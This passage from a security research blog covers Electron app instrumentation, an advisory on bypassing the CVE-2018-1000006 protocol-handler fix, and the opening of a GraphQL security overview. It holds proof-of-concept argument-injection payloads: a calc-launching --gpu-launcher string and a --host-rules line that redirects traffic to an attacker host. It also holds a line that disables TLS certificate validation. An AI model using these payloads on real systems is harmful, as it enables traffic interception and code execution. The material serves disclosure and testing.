class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x32</span><span class="se">\</span><span class="s1">x45</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x37</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x78</span><span class="se">\</span><span class="s1">x36</span><span class="se">\</span><span class="s1">x33</span><span class="se">\</span><span class="s1">x7c</span><span class="se">\</span><span class="s1">x53</span><span class="se">\</span><span class="s1">x61</span><span class="se">\</span><span class="s1">x79</span><span class="se">\</span><span class="s1">x48</span><span class="se">\</span><span class="s1">x65</span><span class="se">\</span><span class="s1">x6c</span><span class="se">\</span><span class="s1">x6c</span><span class="se">\</span><span class="s1">x6f</span><span class="dl">'</span><span class="p">[</span><span class="dl">'</span><span class="se">\</span><span class="s1">x73</span><span class="se">\</span><span class="s1">x70</span><span class="se">\</span><span class="s1">x6c</span><span class="se">\</span><span class="s1">x69</span><span class="se">\</span><span class="s1">x74</span><span class="dl">'</span><span class="p">](</span><span class="dl">'</span><span class="se">\</span><span class="s1">x7c</span><span class="dl">'</span><span class="p">)));</span>
</code></pre></div></div>
<p>It can be manually turned into:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">c</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">e</span><span class="p">,</span> <span class="nx">f</span><span class="p">,</span> <span class="nx">g</span><span class="p">,</span> <span class="nx">h</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">g</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">i</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="nx">i</span> <span class="o"><</span> <span class="nx">d</span> <span class="p">?</span> <span class="dl">''</span> <span class="p">:</span> <span class="nx">g</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">i</span> <span class="o">/</span> <span class="nx">d</span><span class="p">)))</span> <span class="o">+</span> <span class="p">((</span><span class="nx">i</span> <span class="o">=</span> <span class="nx">i</span> <span class="o">%</span> <span class="nx">d</span><span class="p">)</span> <span class="o">></span> <span class="mi">35</span> <span class="p">?</span> <span class="nb">String</span><span class="p">[</span><span class="dl">'</span><span class="s1">fromCharCode</span><span class="dl">'</span><span class="p">](</span><span class="nx">i</span> <span class="o">+</span> <span class="mi">29</span><span class="p">)</span> <span class="p">:</span> <span class="nx">i</span><span class="p">[</span><span class="dl">'</span><span class="s1">toString</span><span class="dl">'</span><span class="p">](</span><span class="mi">36</span><span class="p">));</span>
<span class="p">};</span>
<span class="k">while</span> <span class="p">(</span><span class="nx">e</span><span class="o">--</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">f</span><span class="p">[</span><span class="nx">e</span><span class="p">])</span> <span class="p">{</span>
<span class="nx">c</span> <span class="o">=</span> <span class="nx">c</span><span class="p">[</span><span class="dl">'</span><span class="s1">replace</span><span class="dl">'</span><span class="p">](</span><span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="dl">'</span><span class="se">\\</span><span class="s1">b</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">g</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="o">+</span> <span class="dl">'</span><span class="se">\\</span><span class="s1">b</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">g</span><span class="dl">'</span><span class="p">),</span> <span class="nx">f</span><span class="p">[</span><span class="nx">e</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">c</span><span class="p">;</span>
<span class="p">}(</span><span class="dl">'</span><span class="s1">b 5=["</span><span class="se">\\</span><span class="s1">o</span><span class="se">\\</span><span class="s1">8</span><span class="se">\\</span><span class="s1">p</span><span class="se">\\</span><span class="s1">s</span><span class="se">\\</span><span class="s1">4</span><span class="se">\\</span><span class="s1">c</span><span class="se">\\</span><span class="s1">c</span><span class="se">\\</span><span class="s1">7","</span><span class="se">\\</span><span class="s1">r</span><span class="se">\\</span><span class="s1">4</span><span class="se">\\</span><span class="s1">d</span><span class="se">\\</span><span class="s1">t</span><span class="se">\\</span><span class="s1">7</span><span class="se">\\</span><span class="s1">g</span><span class="se">\\</span><span class="s1">m</span><span class="se">\\</span><span class="s1">d","</span><span class="se">\\</span><span class="s1">u</span><span class="se">\\</span><span class="s1">4</span><span class="se">\\</span><span class="s1">f</span><span class="se">\\</span><span class="s1">f</span><span class="se">\\</span><span class="s1">8</span><span class="se">\\</span><span class="s1">q</span><span class="se">\\</span><span class="s1">4</span><span class="se">\\</span><span class="s1">6</span><span class="se">\\</span><span class="s1">l</span><span class="se">\\</span><span class="s1">6","</span><span class="se">\\</span><span class="s1">n</span><span class="se">\\</span><span class="s1">7</span><span class="se">\\</span><span class="s1">g</span><span class="se">\\</span><span class="s1">6</span><span class="se">\\</span><span class="s1">8</span><span class="se">\\</span><span class="s1">w</span><span class="se">\\</span><span class="s1">4</span><span class="se">\\</span><span class="s1">6</span><span class="se">\\</span><span class="s1">B</span><span class="se">\\</span><span class="s1">4</span><span class="se">\\</span><span class="s1">c</span><span class="se">\\</span><span class="s1">C</span><span class="se">\\</span><span class="s1">7</span><span class="se">\\</span><span class="s1">v</span><span class="se">\\</span><span class="s1">4</span><span class="se">\\</span><span class="s1">A"];9 k(e){b a=0;j[5[0]]=9(h){a++;x(e+h)};j[5[1]]=9(){y a}}b i=z k(5[2]);i.D(5[3])</span><span class="dl">'</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="dl">'</span><span class="s1">||||x65|_0|x20|x6F|x61|function|_1|var|x6C|x74|_2|x73|x75|_3|obj|this|NewObject|x3A|x6E|x59|x53|x79|x67|x47|x48|x43|x4D|x6D|x72|alert|return|new|x2E|x77|x63|SayHello</span><span class="dl">'</span><span class="p">[</span><span class="dl">'</span><span class="s1">split</span><span class="dl">'</span><span class="p">](</span><span class="dl">'</span><span class="s1">|</span><span class="dl">'</span><span class="p">)));</span>
</code></pre></div></div>
<p>Then, it can be passed to <a href="https://mindedsecurity.github.io/jstillery/">JStillery</a>, <a href="http://jsnice.org/">JS Nice</a> and other similar tools in order to get back a human readable version.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">use strict</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">_0</span> <span class="o">=</span> <span class="p">[</span><span class="dl">"</span><span class="s2">SayHello</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">GetCount</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Message : </span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">You are welcome.</span><span class="dl">"</span><span class="p">];</span>
<span class="kd">function</span> <span class="nx">NewObject</span><span class="p">(</span><span class="nx">contentsOfMyTextFile</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">_1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">this</span><span class="p">[</span><span class="nx">_0</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">theLibrary</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">_1</span><span class="o">++</span><span class="p">;</span>
<span class="nx">alert</span><span class="p">(</span><span class="nx">contentsOfMyTextFile</span> <span class="o">+</span> <span class="nx">theLibrary</span><span class="p">);</span>
<span class="p">};</span>
<span class="k">this</span><span class="p">[</span><span class="nx">_0</span><span class="p">[</span><span class="mi">1</span><span class="p">]]</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">_1</span><span class="p">;</span>
<span class="p">};</span>
<span class="p">}</span>
<span class="kd">var</span> <span class="nx">obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">NewObject</span><span class="p">(</span><span class="nx">_0</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">SayHello</span><span class="p">(</span><span class="nx">_0</span><span class="p">[</span><span class="mi">3</span><span class="p">]);</span>
</code></pre></div></div>
<h3 id="enabling-the-developer-tools-in-the-renderer-process">Enabling the developer tools in the renderer process</h3>
<p>During testing, it is particularly important to review all web resources as we would normally do in a standard web application assessment. For this reason, it is highly recommended to enable the Developer Tools in all renderers and <code class="language-plaintext highlighter-rouge"><webview></code> tags.</p>
<p>Electron’s Main process can use the <a href="https://electronjs.org/docs/api/browser-window">BrowserWindow API</a> to call the <em>BrowserWindow</em> method and instantiate a new renderer.</p>
<p>In the example below, we are creating a new <em>BrowserWindow</em> instance with specific attributes. Additionally, we can insert a new statement to launch the Developer tools:</p>
<p><em>/app/mainScreen.js</em></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">winOptions</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">title</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Example App</span><span class="dl">'</span><span class="p">,</span>
<span class="na">backgroundColor</span><span class="p">:</span> <span class="dl">'</span><span class="s1">#ffffff</span><span class="dl">'</span><span class="p">,</span>
<span class="na">width</span><span class="p">:</span> <span class="nx">DEFAULT_WIDTH</span><span class="p">,</span>
<span class="na">height</span><span class="p">:</span> <span class="nx">DEFAULT_HEIGHT</span><span class="p">,</span>
<span class="na">minWidth</span><span class="p">:</span> <span class="nx">MIN_WIDTH</span><span class="p">,</span>
<span class="na">minHeight</span><span class="p">:</span> <span class="nx">MIN_HEIGHT</span><span class="p">,</span>
<span class="na">transparent</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="na">frame</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="na">resizable</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">show</span><span class="p">:</span> <span class="nx">isVisible</span><span class="p">,</span>
<span class="na">webPreferences</span><span class="p">:</span> <span class="p">{</span>
<span class="na">nodeIntegration</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="na">preload</span><span class="p">:</span> <span class="nx">_path2</span><span class="p">.</span><span class="k">default</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span> <span class="dl">'</span><span class="s1">preload.js</span><span class="dl">'</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="p">[</span> <span class="o">--</span> <span class="nx">cut</span> <span class="o">--</span> <span class="p">]</span>
<span class="nx">mainWindow</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">_electron</span><span class="p">.</span><span class="nx">BrowserWindow</span><span class="p">(</span><span class="nx">winOptions</span><span class="p">);</span>
<span class="nx">winId</span> <span class="o">=</span> <span class="nx">win</span><span class="p">.</span><span class="nx">id</span><span class="p">;</span>
<span class="c1">//|--> HERE we can hook and add the Developers Tools <--|</span>
<span class="nx">win</span><span class="p">.</span><span class="nx">webContents</span><span class="p">.</span><span class="nx">openDevTools</span><span class="p">({</span> <span class="na">mode</span><span class="p">:</span> <span class="dl">'</span><span class="s1">bottom</span><span class="dl">'</span> <span class="p">})</span>
<span class="nx">win</span><span class="p">.</span><span class="nx">setMenuBarVisibility</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
</code></pre></div></div>
<p>If everything worked fine, we should have the Developers Tools enabled for the main UI screen.</p>
<p>From the main Developer Tool console, we can open additional developer tools windows for other renderers (e.g. webview tags).</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">window</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="dl">"</span><span class="s2">webview</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">openDevTools</span><span class="p">()</span>
</code></pre></div></div>
<p>While reading the code above, have you noticed the webPreference options?</p>
<p>WebPreferences options are basically settings for the renderer process and include things like window size, appearance, colors, security features, etc. Some of these settings are pretty useful for debugging purposes too.</p>
<p>For example, we can make all windows visible by using the <em>show</em> property of WebPreferences:</p>
<p><code class="language-plaintext highlighter-rouge">BrowserWindow({show: true})</code></p>
<h3 id="adding-debugging-statements">Adding debugging statements</h3>
<p>During instrumentation, it is useful to include debugging code such as</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="s2">--------------- Debug --------------------</span><span class="se">\n</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">type</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">pid</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="s2">--------------- Debug --------------------</span><span class="se">\n</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="debugging-the-main-process">Debugging the main process</h3>
<p>Since it is not possible to open the developer tools for the Main Process, debugging this component is a bit trickier. Luckily, Chromium’s Developer Tools can be used to debug Electron’s main process with just a minor adjustment.</p>
<p>The DevTools in an Electron browser window can only debug JavaScript executed in that window (i.e. the web page). To debug JavaScript executed in the main process you will need to leverage the native debugger and launch Electron with the <code class="language-plaintext highlighter-rouge">--inspect</code> or <code class="language-plaintext highlighter-rouge">--inspect-brk</code> switch.</p>
<p>Use one of the following command line switches to enable debugging of the main process:</p>
<p><em>–inspect=[port]</em>
Electron will listen for V8 inspector protocol messages on the specified port, an external debugger will need to connect on this port. The default port is 5858.</p>
<p><em>–inspect-brk=[port]</em>
Like –inspect but pauses execution on the first line of JavaScript.</p>
<p>Usage:
<code class="language-plaintext highlighter-rouge">electron --inspect=5858 your-app</code></p>
<p>You can now connect Chrome by visiting <em>chrome://inspect</em> and analyze the launched Electron app present there.</p>
<h3 id="intercepting-https-traffic">Intercepting HTTP(s) traffic</h3>
<p>Chromium supports system proxy settings on all platforms, so setup a proxy and then <a href="https://portswigger.net/burp/help/proxy_options_installingcacert">add Burp CA</a> as usual.</p>
<p>We can even use the following command line argument if you run the Electron application directly. Please note that this does not work when using the bundled app.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--proxy-server=address:port
</code></pre></div></div>
<p>Or, programmatically with these lines in the main app:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span><span class="nx">app</span><span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">commandLine</span><span class="p">.</span><span class="nx">appendSwitch</span><span class="p">(</span><span class="dl">'</span><span class="s1">proxy-server</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">127.0.0.1:8080</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div></div>
<p>For Node, use transparent proxying by either changing <em>/etc/hosts</em> or overriding configs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm config set proxy http://localhost:8080
npm config set https-proxy http://localhost:8081
</code></pre></div></div>
<p>In case you need to revert the proxy settings, use:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm config rm proxy
npm config rm https-proxy
</code></pre></div></div>
<p>However, you need to disable TLS validation with the following code within the application under testing:</p>
<p><code class="language-plaintext highlighter-rouge">process.env.NODE_TLS_REJECT_UNAUTHORIZED = “0";</code></p>
<h3 id="outro">Outro</h3>
<p>Proper instrumentation is a fundamental step in performing a comprehensive security test. Combining source code review with dynamic testing and client instrumentation, it is possible to analyze every aspect of the target application. These simple techniques allow us to reach edge cases, exercise all code paths and eventually find vulnerabilities.</p>
<p>@voidsec @lucacarettoni</p>
<h3 id="read-more">Read more</h3>
<ul>
<li><a href="https://electronjs.org/docs/api/browser-window">https://electronjs.org/docs/api/browser-window</a></li>
<li><a href="https://electronjs.org/docs/tutorial/security">https://electronjs.org/docs/tutorial/security</a></li>
<li><a href="https://electronjs.org/docs/tutorial/application-architecture">https://electronjs.org/docs/tutorial/application-architecture</a></li>
<li><a href="https://electronjs.org/docs/tutorial/application-debugging">https://electronjs.org/docs/tutorial/application-debugging</a></li>
<li><a href="https://electronjs.org/docs/tutorial/security#checklist-security-recommendations">https://electronjs.org/docs/tutorial/security#checklist-security-recommendations</a></li>
</ul>
Electron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)2018-05-24T00:00:00+02:00https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass<p>As part of an engagement for one of our clients, we analyzed the patch for the recent <a href="https://electronjs.org/blog/protocol-handler-fix">Electron Windows Protocol handler RCE bug</a> (CVE-2018-1000006) and identified a bypass.</p>
<p>Under certain circumstances this bypass leads to session hijacking and remote code execution. The vulnerability is triggered by simply visiting a web page through a browser. <strong>Electron apps</strong> designed to run on <strong>Windows</strong> that register themselves as the default handler for a protocol and do not prepend <em>dash-dash</em> in the registry entry are affected.</p>
<p>We reported the issue to the Electron core team (via <em>security@electronjs.org</em>) on May 14, 2018 and received immediate notification that they were already working on a patch. The issue was also reported by Google’s <a href="https://twitter.com/newsoft?lang=en">Nicolas Ruff</a> a few days earlier.</p>
<h3 id="cve-2018-1000006">CVE-2018-1000006</h3>
<p>On January 22, 2018 Electron released a patch for <em>v1.7.11</em>, <em>v1.6.16</em> and <em>v1.8.2-beta4</em> for a critical vulnerability known as CVE-2018-1000006 (<em>surprisingly no fancy name here</em>) affecting Electron-based applications running on Windows that register custom protocol handlers.</p>
<p>The original issue was extensively discussed in many <a href="https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62">blog posts</a>, and can be summarized as the ability to use custom protocol handlers (e.g. <em>myapp://</em>) from a remote web page to piggyback command line arguments and insert a new switch that Electron/Chromium/Node would recognize and execute while launching the application.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span>
<span class="nx">win</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">myapp://foobar" --gpu-launcher="cmd c/ start calc" --foobar=</span><span class="dl">'</span>
<span class="nt"></script></span>
</code></pre></div></div>
<p>Interestingly, on January 31, 2018, Electron <em>v1.7.12</em>, <em>v1.6.17</em> and <em>v1.8.2-beta5</em> were released. It turned out that the initial patch did not take into account uppercase characters and led to a bypass in the previous patch with:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span>
<span class="nx">win</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">myapp://foobar" --GPU-launcher="cmd c/ start calc" --foobar=</span><span class="dl">'</span>
<span class="nt"></script></span>
</code></pre></div></div>
<h3 id="understanding-the-patch">Understanding the patch</h3>
<p>The patch for CVE-2018-1000006 is implemented in <a href="https://github.com/electron/electron/blob/fe7947da90a6e161e731a10e4246a07b7d71dea3/atom/app/command_line_args.cc">electron/atom/app/command_line_args.cc</a> and consists of a validation mechanism which ensures users won’t be able to include Electron/Chromium/Node arguments after a url (the specific protocol handler). Bear in mind some locally executed applications do require the ability to pass custom arguments.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="nf">CheckCommandLineArguments</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="n">base</span><span class="o">::</span><span class="n">CommandLine</span><span class="o">::</span><span class="n">CharType</span><span class="o">**</span> <span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">is_sorted</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">begin</span><span class="p">(</span><span class="n">kBlacklist</span><span class="p">),</span> <span class="n">std</span><span class="o">::</span><span class="n">end</span><span class="p">(</span><span class="n">kBlacklist</span><span class="p">),</span>
<span class="p">[](</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">base</span><span class="o">::</span><span class="n">StringPiece</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o"><</span> <span class="n">base</span><span class="o">::</span><span class="n">StringPiece</span><span class="p">(</span><span class="n">b</span><span class="p">);</span>
<span class="p">}))</span>
<span class="o"><<</span> <span class="s">"The kBlacklist must be in sorted order"</span><span class="p">;</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">binary_search</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">begin</span><span class="p">(</span><span class="n">kBlacklist</span><span class="p">),</span> <span class="n">std</span><span class="o">::</span><span class="n">end</span><span class="p">(</span><span class="n">kBlacklist</span><span class="p">),</span>
<span class="n">base</span><span class="o">::</span><span class="n">StringPiece</span><span class="p">(</span><span class="s">"inspect"</span><span class="p">)))</span>
<span class="o"><<</span> <span class="s">"Remember to add Node command line flags to kBlacklist"</span><span class="p">;</span>
<span class="k">const</span> <span class="n">base</span><span class="o">::</span><span class="n">CommandLine</span><span class="o">::</span><span class="n">StringType</span> <span class="n">dashdash</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="sc">'-'</span><span class="p">);</span>
<span class="kt">bool</span> <span class="n">block_blacklisted_args</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">argc</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="n">dashdash</span><span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">block_blacklisted_args</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">IsBlacklistedArg</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">IsUrlArg</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span> <span class="p">{</span>
<span class="n">block_blacklisted_args</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As is commonly seen, blacklist-based validation is prone to errors and omissions especially in complex execution environments like Electron:</p>
<ul>
<li>The patch relies on a static blacklist of <a href="https://peter.sh/experiments/chromium-command-line-switches/">available chromium flags</a>. On each libchromiumcontent update the Electron team must remember to update the <em>command_line_args.cc</em> file in order to make sure the blacklist is aligned with the current implementation of Chromium/v8</li>
<li>The blacklist is implemented using a binary search. Valid flags could be missed by the check if they’re not properly sorted</li>
</ul>
<h3 id="bypass-and-security-implications">Bypass and security implications</h3>
<p>We started looking for missed flags and noticed that <strong>host-rules</strong> was absent from the blacklist. With this flag one may specify a set of rules to rewrite domain names for requests issued by libchroumiumcontent. This immediately stuck out as a good candidate for subverting the process.</p>
<p>In fact, an attacker can exploit this issue by overriding the host definitions in order to perform completely transparent Man-In-The-Middle:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!doctype html></span>
<span class="nt"><script></span>
<span class="nb">window</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar=</span><span class="dl">'</span>
<span class="nt"></script></span>
</code></pre></div></div>
<p>When a user visits a web page in a browser containing the preceding code, the Skype app will be launched and all Chromium traffic will be forwarded to <em>evil.doyensec.com</em> instead of the original domain. Since the connection is made to the attacker-controlled host, certificate validation does not help as demonstrated in the following video:</p>
<video controls="" preload="auto" width="100%" height="100%" poster="../../../public/images/skypeelectronbugpoc.png">
<source src="../../../public/images/skypeelectronbugpoc.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<p>We analyzed the impact of this vulnerability on popular Electron-based apps and developed working proof-of-concepts for both MITM and RCE attacks. While the immediate implication is that an attacker can obtain confidential data (e.g. oauth tokens), this issue can be also abused to inject malicious HTML responses containing XSS -> RCE payloads. With <code class="language-plaintext highlighter-rouge">nodeIntegration</code> enabled, this is simply achieved by leveraging Node’s APIs. When encountering application sandboxing via <code class="language-plaintext highlighter-rouge">nodeIntegration: false</code> or <code class="language-plaintext highlighter-rouge">sandbox</code>, it is necessary to chain this with other bugs (e.g. nodeIntegration bypass or IPC abuses).</p>
<p>Please note it is only possible to intercept traffic generated by Chromium, and not Node. For this reason Electron’s update feature, along with other critical functionss, are not affected by this vulnerability.</p>
<h3 id="future">Future</h3>
<p>On May 16, 2018, Electron released a new update containing an improved version of the blacklist for v2.0.1, v1.8.7, and v1.7.15. The team is actively working on a more resilient solution to prevent further bypasses. Considering that the API change may potentially break existing apps, it makes sense to see this security improvement within a major release.</p>
<p>In the meantime, Electron application developers are recommended to enforce a dash-dash notation in <code class="language-plaintext highlighter-rouge">setAsDefaultProtocolClient</code></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nx">setAsDefaultProtocolClient</span><span class="p">(</span><span class="nx">protocol</span><span class="p">,</span> <span class="nx">process</span><span class="p">.</span><span class="nx">execPath</span><span class="p">,</span> <span class="p">[</span>
<span class="dl">'</span><span class="s1">--your-switches-here</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">--</span><span class="dl">'</span>
<span class="p">])</span>
</code></pre></div></div>
<p>or in the Windows protocol handler registry entry</p>
<p><img src="../../../public/images/regeditprotocol.png" alt="secure Windows protocol handler" align="center" /></p>
<p>As a final remark, we would like to thank the entire Electron team for their work on moving to a secure-by-default framework. Electron contributors are tasked with the non-trivial mission of closing the web-native desktop gap. Modern browsers are enforcing numerous security mechanisms to ensure isolation between sites, facilitate web security protections and prevent untrusted remote content from compromising the security of the host. <em>When working with Electron, things get even more complicated.</em></p>
<p>@ikkisoft</p>
<p>@day6reak</p>
GraphQL - Security Overview and Testing Tips2018-05-17T00:00:00+02:00https://blog.doyensec.com/2018/05/17/graphql-security-overview<p>With the increasing popularity of GraphQL technology we are summarizing some documentation and tips about common security mistakes.</p>
<h3 id="what-is-graphql">What is GraphQL?</h3>
<p><a href="https://graphql.org/">GraphQL</a> is a data query language developed by Facebook and publicly released in 2015. It is an alternative to REST API.</p>
<p>Even if you don’t see any GraphQL out there, it is likely you’re already using it since it’s running on some big tech giants like Facebook, GitHub, Pinterest, Twitter, HackerOne and a <a href="http://graphql.org/users/">lot more</a>.</p>
<h4 id="a-few-key-points-on-this-technology">A few key points on this technology</h4>
<ul>
<li>
<p>GraphQL provides a complete and understandable description of the data in the API and gives clients the power to ask for exactly what they need. <strong>Queries always return predictable results</strong>.</p>
</li>
<li>
<p>While typical REST APIs require loading from multiple URLs, GraphQL APIs get <strong>all the data</strong> your app needs <strong>in a single request</strong>.</p>
</li>
<li>
<p>GraphQL APIs are organized in terms of types and fields, not endpoints. You can access the full capabilities of <strong>all your data from a single endpoint</strong>.</p>
</li>
<li>
<p>GraphQL is <strong>strongly typed</strong> to ensure that application only ask for what’s possible and provide clear and helpful errors.</p>
</li>
<li>
<p><strong>New fields and types can be added</strong> to the GraphQL API <strong>without impacting existing queries. Aging fields can be deprecated</strong> and hidden from tools.</p>
</li>
</ul>
<p>Before we start diving into the GraphQL security landscape, here is a brief recap on how it works. The <a href="http://graphql.org/learn/">official documentation</a> is well written and was really helpful.</p>
<p>A GraphQL query looks like this:</p>
<p><em>Basic GraphQL Query</em></p>
<div class="language-graphql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">query</span><span class="p">{</span><span class="w">
</span><span class="n">user</span><span class="p">{</span><span class="w">
</span><span class="n">id</span><span class="w">
</span><span class="n">email</span><span class="w">
</span><span class="n">firstName</span><span class="w">
</span><span class="n">lastName</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>While the response is JSON:</p>
<p><em>Basic GraphQL Response</em></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
